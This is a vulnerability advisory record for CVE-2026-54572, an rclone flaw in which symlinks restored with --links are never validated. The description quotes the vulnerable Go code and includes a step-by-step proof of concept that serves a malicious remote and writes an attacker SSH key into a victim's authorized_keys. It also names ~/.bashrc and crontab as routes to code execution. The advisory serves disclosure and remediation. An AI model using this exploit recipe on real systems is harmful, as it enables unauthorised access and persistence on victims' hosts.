{"id":"CVE-2026-54572","aliases":["CVE-2026-54572","GHSA-cf44-9pgv-m4xc","BIT-RCLONE-2026-54572","GO-2026-6191"],"related":[],"kind":"vulnerability","state":"published","title":"rclone: Unvalidated symlink target in local `--links` — arbitrary file write from an untrusted remote","summary":"Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Prior to 1.74.4, with -l/--links, rclone serializes symlinks as .rclonelink text objects and recreates them on a local destination without validating the target, allowing an attacker-controlled remote to plant an escaping symlink and cause a following object write to land outside the destination with attacker-chosen contents. This issue is fixed in version 1.74.4.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Prior to 1.74.4, with -l/--links, rclone serializes symlinks as .rclonelink text objects and recreates them on a local destination without validating the target, allowing an attacker-controlled remote to plant an escaping symlink and cause a following object write to land outside the destination with attacker-chosen contents. This issue is fixed in version 1.74.4.","source":"cvelist"},{"lang":"en","text":"### Summary\nWith `-l/--links`, rclone serializes symlinks as `<name>.rclonelink` text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with `os.Symlink(<object body>, <dest path>)` and performs NO validation of the target. If the source is attacker-controlled, the attacker sets the body to any absolute or `../` path, so rclone plants a symlink inside the destination that points anywhere on the victim's filesystem. Because a sibling object named `<name>.rclonelink` sorts before `<name>/...`, rclone creates the escaping symlink first and then writes a following object \"inside\" it; `mkdirAll`/`OpenFile` follow the planted symlink, so the file lands OUTSIDE the destination with attacker-chosen contents. This yields arbitrary file write as the victim user, e.g. overwriting `~/.ssh/authorized_keys`, `~/.bashrc`, or a crontab — i.e. code execution.\n\n### Details\n`backend/local/local.go`, `Object.Update()`:\n```go\n} else {\n    out = nopWriterCloser{&symlinkData}          // body of <name>.rclonelink = attacker data\n}\n...\nif o.translatedLink {\n    if err == nil {\n        if _, err := os.Lstat(o.path); err == nil {\n            os.Remove(o.path)\n        }\n        // Use the contents for the copied object to create a symlink\n        err = os.Symlink(symlinkData.String(), o.path)   // <-- target NEVER validated (abs / .. allowed)\n    }\n}\n```\n`symlinkData` is the raw body of the source object, fully attacker-controlled when copying from an untrusted remote. There is no check that the target is relative or stays within the destination. The subsequent write path (`mkdirAll()` → `file.MkdirAll`, then `file.OpenFile(..., O_CREATE)`) follows existing symlink components with no `O_NOFOLLOW`, so a file written under the planted symlinked directory escapes the destination.\n\n### PoC\n1) Get the official stable binary:\n```\ncurl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip\nunzip -j rclone-v1.74.3-linux-amd64.zip '*/rclone' -d .      # ./rclone -> v1.74.3\n```\n2) Create an attacker-controlled \"remote\" (two objects) and a victim layout:\n```\nmkdir -p evil/pwn dest victimhome/.ssh\nprintf '%s' \"$PWD/victimhome/.ssh\" > evil/pwn.rclonelink              # body = abs path OUTSIDE dest\nprintf 'ssh-ed25519 AAAA_ATTACKER_KEY pwned\\n' > evil/pwn/authorized_keys\nls -l victimhome/.ssh                                                 # empty (before)\n```\n3) Serve the malicious remote (models any untrusted remote — bucket / WebDAV / HTTP share):\n```\ncd evil && python3 -m http.server 38080 --bind 127.0.0.1\n```\n4) VICTIM ACTION — back up the untrusted remote preserving symlinks:\n```\n./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v\n```\n5) Observe — a file landed OUTSIDE `./dest`:\n```\nls -l dest/pwn                       # dest/pwn -> .../victimhome/.ssh   (symlink escapes dest)\ncat victimhome/.ssh/authorized_keys  # ssh-ed25519 AAAA_ATTACKER_KEY pwned   <-- written outside dest\n```\n`pwn.rclonelink` sorts before `pwn/authorized_keys`, so rclone creates the escaping symlink first and the next write follows it out of the destination. With rclone run as the victim user this overwrites `~/.ssh/authorized_keys`, `~/.bashrc`, or a crontab → code execution.\n\n### Impact\nAn attacker who controls the contents of any remote a victim syncs with `-l/--links` gains arbitrary file write as the victim user, anywhere that user can write. Overwriting `~/.ssh/authorized_keys`, shell rc files, or cron files yields remote code execution on the victim's host. Even without the write-through step, the destination is silently populated with symlinks pointing anywhere on the local filesystem (confinement break / later read-or-write traversal).\n\n### Remediation\nIn `Object.Update()` reject symlink targets that are absolute or escape the destination root before calling `os.Symlink` (resolve `filepath.Join(dir, target)` and require it to stay within the configured root, or refuse absolute/`..` targets), and write objects with `O_NOFOLLOW` on the final component plus a no-symlink-in-parent check so a planted symlinked directory is never followed. Add a regression test copying a `.rclonelink` with target `/tmp/...` and a sibling file, asserting nothing is written outside the destination.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Arbitrary file write via --links symlinks in github.com/rclone/rclone","format":"markdown","source":"go"}],"published":"2026-07-14T21:37:41.882Z","modified":"2026-09-10T03:51:13.771Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L","score":8.8,"rating":"HIGH"},{"scorer":"Bitnami Vulnerability Database","scheme":"rating","rating":"HIGH"}],"cwes":["CWE-59"],"affected":[{"ranges":[{"version":"< 1.74.4","status":"affected"}],"vendor":"rclone","product":"rclone","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.74.4"}],"ecosystem":"Go","package":"github.com/rclone/rclone","purl":"pkg:golang/github.com/rclone/rclone","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.74.4"}],"ecosystem":"Go","package":"github.com/rclone/rclone","purl":"pkg:golang/github.com/rclone/rclone","source":"go"},{"ranges":[{"status":"affected","fixed":"1.74.4"}],"vendor":"rclone","product":"rclone","cpe":"cpe:2.3:a:rclone:rclone:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.74.4"}],"ecosystem":"Bitnami","package":"rclone","purl":"pkg:bitnami/rclone","source":"bitnami"}],"references":[{"url":"https://github.com/rclone/rclone/security/advisories/GHSA-cf44-9pgv-m4xc","tags":["advisory","exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://github.com/rclone/rclone/commit/1154afebee986180b489084d38e2a0c578751498","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://github.com/rclone/rclone/commit/874a804f5289517defdd7de68b2a374837080265","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://github.com/rclone/rclone/releases/tag/v1.74.4","tags":["article","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54572","tags":["advisory","web"],"sources":["ghsa","bitnami"]},{"url":"https://github.com/rclone/rclone","tags":["package"],"sources":["ghsa"]}],"credits":["Nguyễn Tiến Thành (GitHub: vnth4nhnt)"],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-07-15T12:42:05.766Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-54572","url":"https://www.cve.org/CVERecord?id=CVE-2026-54572","licence":"CVE Terms of Use","modified":"2026-07-15T12:43:01.494Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-cf44-9pgv-m4xc","url":"https://github.com/advisories/GHSA-cf44-9pgv-m4xc","licence":"CC-BY-4.0","modified":"2026-09-10T03:51:13.771Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-6191","url":"https://pkg.go.dev/vuln/GO-2026-6191","licence":"CC-BY-4.0","modified":"2026-08-18T17:24:12.678Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-54572","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54572","licence":"Public domain","modified":"2026-07-17T03:13:56.627Z"},{"source":"bitnami","name":"Bitnami Vulnerability Database","id":"BIT-RCLONE-2026-54572","url":"https://osv.dev/vulnerability/BIT-RCLONE-2026-54572","licence":"Apache-2.0","modified":"2026-09-08T08:48:19.062Z"}],"updatedAt":"2026-11-25T22:59:28.249Z","epss":{"score":0.00366,"percentile":0.32464,"date":"2026-12-01T12:00:22.000Z"}}